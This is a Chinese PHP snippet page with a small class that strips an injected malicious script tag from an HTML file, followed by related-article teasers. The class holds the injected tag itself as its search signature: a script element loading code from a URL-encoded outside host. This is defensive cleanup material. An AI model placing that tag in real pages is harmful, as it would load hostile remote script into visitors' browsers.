php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

解析php 版获取重定向后的地址(代码)

复制代码 代码如下://取重定向的地址  class RedirectUrl{      //地址    ...

PHP获取文件夹内文件数的方法

本文实例讲述了PHP获取文件夹内文件数的方法。分享给大家供大家参考。具体实现方法如下: function getfilecounts($ff){ $dir = './'.$ff;...

PHP实现的无限分类类库定义与用法示例【基于thinkPHP】

本文实例讲述了PHP实现的无限分类类库定义与用法。分享给大家供大家参考,具体如下: /* 功能:基于TP2.0的无限分类。 用法: 第一种用法,不采用数据库,可以不需要TP,例子如下...

用PHP的ob_start();控制您的浏览器cache!

Output Control 函数可以让你自由控制脚本中数据的输出。它非常地有用,特别是对于:当你想在数据已经输出后,再输出文件头的情况。输出控制函数不对使用&nbs...

PHP中获取变量的变量名的一段代码的bug分析

复制代码 代码如下: /** * 获取变量名 * * @param $string * @return $string * * $test = "helo"; * $test2 = "h...